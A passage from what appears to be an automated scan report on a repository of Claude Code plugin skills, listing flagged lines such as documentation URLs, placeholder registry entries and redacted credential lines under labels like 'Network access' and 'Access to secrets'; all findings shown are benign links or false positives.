    python-private:     type: python-index     url: https://pypi.example.com/simple
  • Network accessline 357
    [Credential-related source omitted]
  • Network accessline 358
    url: https://pypi.example.com/simple

harness/claude-code/plugins/git-github-workflow/skills/dependabot/references/example-configs.md

  • Network accessline 168
    npm-private:     type: npm-registry     url: https://npm.internal.example.com
  • Network accessline 169
    [Credential-related source omitted]
  • Network accessline 170
    url: https://npm.internal.example.com
  • Network accessline 173
    docker-ghcr:     type: docker-registry     url: https://ghcr.io
  • Network accessline 174
    type: docker-registry     url: https://ghcr.io     username: ${{secrets.GHCR_USER}}
  • Network accessline 175
    url: https://ghcr.io
  • Network accessline 252
    npm-private:     type: npm-registry     url: https://npm.example.com
  • Network accessline 253
    [Credential-related source omitted]
  • Network accessline 254
    url: https://npm.example.com

harness/claude-code/plugins/git-github-workflow/skills/gh-attach/SKILL.md

  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]

harness/claude-code/plugins/git-github-workflow/skills/git-commit/SKILL.md

harness/claude-code/plugins/git-github-workflow/skills/github-issues/references/images.md

  • Network accessline 42
    ![Description](https://github.com/{owner}/{repo}/raw/{username}/images/docs/images/my-image.png)
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 68
    1. Open the issue/comment in a browser 2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL
  • Network accessline 69
    2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL 4. These URLs work for anyone, even without repo access, and render in email notifications
  • Network accessline 70
    3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL
  • Access to secretsline 73
    [Credential-related source omitted]

harness/claude-code/plugins/git-github-workflow/skills/github-release/SKILL.md

  • Network accessline 83
    7. Update or create `CHANGELOG.md` in Keep a Changelog format using today's `YYYY-MM-DD` date, show the proposed section to the user, then write it. Add or update the comparison link: `https://github.com/OWNER/REPO/compare/vPREV...vNEXT`.
  • Network accessline 234
    - [Keep a Changelog](https://keepachangelog.com/en/1.1.0/)
  • Network accessline 235
    - [GitHub compare URL pattern](https://github.com/OWNER/REPO/compare/vPREV...vNEXT)

harness/claude-code/plugins/git-github-workflow/skills/github-release/references/commit-classification.md

  • Network accessline 8
    When reading `git log` output, map each commit to one of the categories below. Repos that follow Conventional Commits (https://www.conventionalcommits.org/) will
  • Network accessline 9
    Repos that follow Conventional Commits (https://www.conventionalcommits.org/) will

harness/claude-code/plugins/git-github-workflow/skills/github-release/references/semver-rules.md

  • Network accessline 3
    Reference: https://semver.org/

harness/claude-code/plugins/git-github-workflow/skills/gitmoji/SKILL.md

  • Network accessline 2
    name: gitmoji description: >-   Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing
  • Network accessline 3
    description: >-   Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing   the single best emoji or shortcode for a diff, staged change, or plain-language change
  • Network accessline 4
    Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing
  • Network accessline 16
    Generate a copyable commit message in the https://gitmoji.dev/ convention: infer the dominant change intent, select exactly one gitmoji, match unicode versus shortcode style, and write an imperative subject plus optional body.
  • Network accessline 98
    - Do not run `git commit` or any other mutating git command. - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead.
  • Network accessline 99
    - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead.
  • Network accessline 147
    - [gitmoji](https://gitmoji.dev)
  • Network accessline 148
    - [gitmoji with trailing slash](https://gitmoji.dev/)
  • Network accessline 149
    - [Conventional Commits](https://www.conventionalcommits.org/)

harness/claude-code/plugins/git-github-workflow/skills/gitmoji/references/gitmoji-reference.md

  • Network accessline 3
    The complete official gitmoji list from [gitmoji.dev](https://gitmoji.dev/), in the order shown on the site. Each entry maps an emoji (and its `:shortcode:`) to the intent of the change it represents.
  • Network accessline 83
    > Source: [gitmojis.json](https://github.com/carloscuesta/gitmoji/blob/master/packages/gitmojis/src/gitmojis.json) — 75 gitmojis.

harness/claude-code/plugins/git-github-workflow/skills/issue-fields-migration/SKILL.md

  • Network accessline 130
    - [Issue fields public preview changelog](https://github.blog/changelog/2026-03-12-issue-fields-structured-issue-metadata-is-in-public-preview/)

harness/claude-code/plugins/git-github-workflow/skills/make-repo-contribution/SKILL.md

  • Broad permissionsline 1
    Read, Edit, Bash(git:*), Bash(gh issue:*), Bash(gh pr:*)

harness/claude-code/plugins/git-github-workflow/skills/pr-dashboard/scripts/lib/utils.mjs

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/git-github-workflow/skills/pr-dashboard/scripts/pr-dashboard-cli.mjs

  • Executable scriptline 1
    #!/usr/bin/env node
  • Network accessline 219
    return `<tr>   <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>
  • Network accessline 220
    <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>

harness/claude-code/plugins/github-actions-maintenance/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Copilot Primitives Maintainers"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/go-mcp-development/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Awesome Copilot Community"   },   "repository": "https://github.com/github/awesome-copilot",
  • Network accessline 7
    },   "repository": "https://github.com/github/awesome-copilot",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/github/awesome-copilot",

harness/claude-code/plugins/go-to-market/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/go-to-market/skills/ad-campaign-analyzer/SKILL.md

  • Network accessline 12
    Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or     screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys.   source: "https://github.com/gooseworks-ai/goose-skill
  • Network accessline 13
    screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys.   source: "https://github.com/gooseworks-ai/goose-skills"   version: "'1.0'"
  • Network accessline 14
    source: "https://github.com/gooseworks-ai/goose-skills"
  • Network accessline 222
    - [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)

harness/claude-code/plugins/go-to-market/skills/competitor-ad-intelligence/SKILL.md

  • Network accessline 13
    Cross-platform. Uses web search and public ad libraries only; no API keys or credentials     required.   source: "https://github.com/gooseworks-ai/goose-skills"
  • Network accessline 14
    required.   source: "https://github.com/gooseworks-ai/goose-skills"   version: 1.0
  • Network accessline 15
    source: "https://github.com/gooseworks-ai/goose-skills"
  • Network accessline 66
    | Source | Direct URL or query | Collect | | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing p
  • Network accessline 67
    | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B va
  • Network accessline 68
    | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B variations |
  • Network accessline 69
    | Meta search | `web_search: site:facebook.com/ads/library "[competitor_name]"`; `web_search: "[competitor_name]" Meta Ad Library active ads`; `web_search: "[competitor_name]" facebook ads examples` | Publicly indexed ad examples and librar
  • Network accessline 70
    | Google Ads Transparency Center | `https://adstransparency.google.com/?search_text=<competitor_name>` | Headline variants, description lines, ad type, landing page URL, geographic targeting if visible | | Google search | `web_search: site:
  • Network accessline 289
    - [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)
  • Network accessline 290
    - [Meta Ad Library search pattern](https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>)
  • Network accessline 291
    - [Google Ads Transparency Center search pattern](https://adstransparency.google.com/?search_text=<competitor_name>)

harness/claude-code/plugins/go-to-market/skills/gtm-0-to-1-launch/SKILL.md

  • Network accessline 9
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 11
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 12
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 175
    - [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 176
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/plugins/go-to-market/skills/gtm-ai-gtm/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 156
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 157
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/plugins/go-to-market/skills/gtm-board-and-investor-communication/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Dangerous shell operationline 386
    Exec (weekly) → Leadership (bi-weekly) → All-hands (monthly) → Team (ongoing)
  • Network accessline 432
    - [ ] Follow-up owners and dates are explicit. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 433
    ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 434
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 435
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/claude-code/plugins/go-to-market/skills/gtm-developer-ecosystem/SKILL.md

  • Network accessline 7
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 9
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 356
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 357
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/claude-code/plugins/go-to-market/skills/gtm-enterprise-account-planning/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 246
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 247
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/plugins/go-to-market/skills/gtm-enterprise-onboarding/SKILL.md

  • Network accessline 7
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 9
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 440
    - [ ] Red flags such as Week 4 ghosting, Week 5 pilot non-use, and Week 8-12 adoption decline have escalation actions. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 441
    ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 442
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 443
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/claude-code/plugins/go-to-market/skills/gtm-operating-cadence/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 263
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 264
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/plugins/go-to-market/skills/gtm-partnership-architecture/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 161
    - [Original technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 162
    - [Author profile](https://linkedin.com/in/smitkpatel)

harness/claude-code/plugins/go-to-market/skills/gtm-positioning-strategy/SKILL.md

  • Network accessline 9
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 11
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 12
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 204
    - [Source repository](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 205
    - [Author profile](https://linkedin.com/in/smitkpatel)

harness/claude-code/plugins/go-to-market/skills/gtm-product-led-growth/SKILL.md

  • Network accessline 9
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 11
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 12
    source: "https://github.com/beingsmit/technical-product-gtm"

harness/claude-code/plugins/go-to-market/skills/gtm-technical-product-pricing/SKILL.md

  • Network accessline 8
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 9
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 10
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 11
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 199
    - [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 200
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/claude-code/plugins/go-to-market/skills/landing-page-conversion-audit/SKILL.md

  • Network accessline 99
    If the user wants those built rather than diagnosed, Autonnel is an Apache-2.0 self-hosted funnel builder that supports landing → checkout → one-click upsell → thank-you, click IDs, and server-side postbacks to Facebook, TikTok, Google, and
  • Network accessline 104
    docker compose up # open http://localhost:4321 and complete /setup
  • Network accessline 105
    # open http://localhost:4321 and complete /setup
  • Network accessline 143
    - [Autonnel](https://github.com/autonnel/autonnel)
  • Network accessline 144
    - [Local Autonnel setup endpoint](http://localhost:4321)

harness/claude-code/plugins/go-to-market/skills/server-side-conversion-tracking/SKILL.md

  • Network accessline 93
    [Autonnel](https://github.com/autonnel/autonnel) is Apache-2.0 and self-hosted. It implements capture, server-side funnel sessions, cross-domain carry, order attachment, queued server-side conversions to Facebook Conversions API, TikTok Eve
  • Network accessline 95
    Get the repository from <https://github.com/autonnel/autonnel>, check out a release tag, and read its `docker-compose.yml` for images and ports. From that checkout:
  • Network accessline 98
    docker compose up # open http://localhost:4321, complete /setup, then Settings → Ad platforms
  • Network accessline 99
    # open http://localhost:4321, complete /setup, then Settings → Ad platforms
  • Network accessline 146
    - [Autonnel](https://github.com/autonnel/autonnel)

harness/claude-code/plugins/incident-response/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/incident-response/skills/bug-receipt/SKILL.md

  • Network accessline 116
    - [Original bug-receipt repository](https://github.com/lMysticl/bug-receipt)

harness/claude-code/plugins/incident-response/skills/bug-receipt/references/receipt.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://lmysticl.github.io/bug-receipt/receipt.schema.json",

harness/claude-code/plugins/incident-response/skills/bug-receipt/scripts/validate-receipt.mjs

  • Executable scriptline 1
    Executable file

harness/claude-code/plugins/incident-response/skills/bug-reproduction-brief/SKILL.md

  • Network accessline 116
    - [AI agent skill preview workflow](https://github.com/skyestrela/ai-agent-skill-preview.)

harness/claude-code/plugins/incident-response/skills/impediment-prioritization/SKILL.md

  • Network accessline 94
    | Rank | Impediment | Countermeasure | ROI | Cost | Ease | Risk | Priority | Rationale | | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/o
  • Network accessline 95
    | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your
  • Network accessline 96
    | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-you
  • Network accessline 97
    | 2 | Secret scanning disabled | Enable secret scanning + push protection org-wide ([docs](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)) | 8 | 3 | 7 | 3 | 25.0 | ROI: catches leaked creds pre-merge<br>Cost
  • Network accessline 98
    | 3 | No CODEOWNERS on critical repos | Add CODEOWNERS to top-20 repos ([docs](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)) | 6 | 4 | 6 | 4 | 15.0 | 
  • Network accessline 149
    - [GitHub 2FA organization enforcement](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)
  • Network accessline 150
    - [GitHub secret scanning](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)
  • Network accessline 151
    - [GitHub CODEOWNERS](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)

harness/claude-code/plugins/iot-embedded-systems/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "paulasilvatech"   },   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 7
    },   "repository": "https://github.com/paulasilvatech/copilot-primitives",   "license": "MIT",
  • Network accessline 8
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/SKILL.md

  • Network accessline 28
    - https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 32
    - https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/
  • Network accessline 33
    - https://docs.arduino.cc/
  • Network accessline 34
    - https://docs.arduino.cc/language-reference/
  • Network accessline 135
    - [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/)
  • Network accessline 136
    - [Arduino getting started](https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/)
  • Network accessline 137
    - [Arduino documentation](https://docs.arduino.cc/)
  • Network accessline 138
    - [Arduino language reference](https://docs.arduino.cc/language-reference/)

harness/claude-code/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/references/arduino-iot-checklist.md

  • Network accessline 7
    - Official references reviewed from <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> and <https://docs.arduino.cc/>.
  • Network accessline 8
    - Language/API calls validated against <https://docs.arduino.cc/language-reference/>.

harness/claude-code/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/references/arduino-official-best-practices.md

  • Network accessline 7
    - Arduino main guide: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/>
  • Network accessline 8
    - Arduino docs home: <https://docs.arduino.cc/>
  • Network accessline 9
    - Getting started path: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/>
  • Network accessline 10
    - Arduino IDE usage: <https://docs.arduino.cc/learn/starting-guide/the-arduino-software-ide/>
  • Network accessline 11
    - Arduino language reference: <https://docs.arduino.cc/language-reference/>
  • Network accessline 12
    - Arduino programming reference overview: <https://docs.arduino.cc/learn/programming/reference/>
  • Network accessline 13
    - Arduino memory guide: <https://docs.arduino.cc/learn/programming/memory-guide/>
  • Network accessline 14
    - Arduino debugging fundamentals: <https://docs.arduino.cc/learn/microcontrollers/debugging/>
  • Network accessline 15
    - Arduino low-power design guide: <https://docs.arduino.cc/learn/electronics/low-power/>
  • Network accessline 16
    - Arduino communication protocols index: <https://docs.arduino.cc/learn/communication/uart/>
  • Network accessline 17
    - Arduino style guide for libraries: <https://docs.arduino.cc/learn/contributions/arduino-library-style-guide/>

harness/claude-code/plugins/iot-embedded-systems/skills/azure-smart-city-iot-solution-builder/SKILL.md

  • Network accessline 26
    Before proposing architecture that involves edge computing, review Azure IoT Edge documentation: https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 150
    - [Azure IoT Edge documentation](https://learn.microsoft.com/azure/iot-edge/)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/28256-eeprom.md

  • Network accessline 185
    * <https://www.utmel.com/components/at28bv256-eeproms-pinout-equivalent-and-datasheet?id=1019>
  • Network accessline 186
    * <https://www.futurlec.com/Memory/28C256.shtml>
  • Network accessline 187
    * <https://ww1.microchip.com/downloads/en/DeviceDoc/doc0006.pdf>
  • Network accessline 188
    * <https://bread80.com/2020/08/10/the-ben-eater-eeprom-programmer-28c256-and-software-data-protection/>

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/555.md

  • Network accessline 3
    [www.fairchildsemi.com](https://www.fairchildsemi.com)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6502.md

  • Network accessline 210
    * <https://syncopate.us/books/Synertek6502ProgrammingManual.html>
  • Network accessline 211
    * <https://en.wikipedia.org/wiki/MOS_Technology_6502>
  • Network accessline 212
    * <https://web.archive.org/web/20061114024257/http://www.westerndesigncenter.com/wdc/documentation/Programmanual.pdf>
  • Network accessline 213
    * Tutorial excerpts from <https://wilsonminesco.com/6502primer/>
  • Network accessline 214
    * <https://wilsonminesco.com/6502primer/LogicFamilies.html>
  • Network accessline 215
    * <https://wilsonminesco.com/6502primer/ClkGen.html>
  • Network accessline 216
    * <https://wilsonminesco.com/6502primer/RSTreqs.html>
  • Network accessline 217
    * <https://wilsonminesco.com/6502primer/displays.html>
  • Network accessline 218
    * <https://wilsonminesco.com/6502primer/debug.html>
  • Network accessline 219
    * <https://wilsonminesco.com/6502primer/potpourri.html>

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6522.md

  • Network accessline 208
    * <https://en.wikipedia.org/wiki/MOS_Technology_6522>
  • Network accessline 209
    * <https://grokipedia.com/page/MOS_Technology_6522>

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6C62256.md

  • Network accessline 173
    * <https://www.alliancememory.com/wp-content/uploads/AS6C62256-23-March-2016-rev1.2.pdf>
  • Network accessline 174
    * <https://www.futurlec.com/Datasheet/Memory/62256.pdf>
  • Network accessline 175
    * <https://www.malinov.com/sergeys-blog/homebrew-notes.html>

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/7400-series.md

  • Network accessline 173
    * <https://www.ti.com/lit/ds/symlink/sn74ls00.pdf>
  • Network accessline 174
    * <https://archive.org/details/TTLCookBook>
  • Network accessline 175
    * <https://digilent.com/reference/test-and-measurement/analog-discovery-2/hardware-design-guide>

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/assembly-compiler.md

  • Network accessline 248
    * [MOS 6502 Programming Manual](http://archive.6502.org/datasheets/synertek_programming_manual.pdf)
  • Network accessline 249
    * [MOS 6522 VIA Datasheet](http://archive.6502.org/datasheets/mos_6522_preliminary_nov_1977.pdf)
  • Network accessline 250
    * [AT28C256 Datasheet](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf)
  • Network accessline 251
    * [HD44780 LCD Datasheet](https://www.futurlec.com/LED/LCD16X2BLa.shtml)
  • Network accessline 252
    * [cc65 Toolchain Docs](https://cc65.github.io/doc/cc65.html)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/assembly-language.md

  • Network accessline 217
    * [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html)
  • Network accessline 218
    * [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502)
  • Network accessline 219
    * [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation)
  • Network accessline 220
    * [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/breadboard.md

  • Network accessline 206
    * [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard)
  • Network accessline 207
    * [https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard](https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard)
  • Network accessline 208
    * [https://learn.adafruit.com/breadboards-for-beginners](https://learn.adafruit.com/breadboards-for-beginners)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/common-breadboard-components.md

  • Network accessline 50
    * [https://en.wikipedia.org/wiki/Resistor](https://en.wikipedia.org/wiki/Resistor)
  • Network accessline 88
    * [https://en.wikipedia.org/wiki/Capacitor](https://en.wikipedia.org/wiki/Capacitor)
  • Network accessline 112
    * [https://en.wikipedia.org/wiki/Inductor](https://en.wikipedia.org/wiki/Inductor)
  • Network accessline 140
    * [https://en.wikipedia.org/wiki/Diode](https://en.wikipedia.org/wiki/Diode)
  • Network accessline 164
    * [https://en.wikipedia.org/wiki/Light-emitting_diode](https://en.wikipedia.org/wiki/Light-emitting_diode)
  • Network accessline 190
    * [https://en.wikipedia.org/wiki/Transistor](https://en.wikipedia.org/wiki/Transistor)
  • Network accessline 209
    * [https://en.wikipedia.org/wiki/Integrated_circuit](https://en.wikipedia.org/wiki/Integrated_circuit)
  • Network accessline 244
    * [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard)
  • Network accessline 273
    * [https://learn.sparkfun.com](https://learn.sparkfun.com)
  • Network accessline 274
    * [https://www.allaboutcircuits.com](https://www.allaboutcircuits.com)
  • Network accessline 275
    * [https://www.electronics-tutorials.ws](https://www.electronics-tutorials.ws)
  • Network accessline 276
    * [https://en.wikipedia.org/wiki/Electronics](https://en.wikipedia.org/wiki/Electronics)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-28256-eeprom.md

  • Network accessline 231
    * [AT28C256 Datasheet (Microchip)](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf)
  • Network accessline 232
    * [Ben Eater 6502 Computer Series](https://eater.net/6502)
  • Network accessline 233
    * <https://www.youtube.com/watch?v=oO8_2JJV0B4>
  • Network accessline 234
    * [6502.org Memory Mapping Notes](https://6502.co.uk/lesson/memory-map)

harness/claude-code/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6502.md

  • Network accessline 242
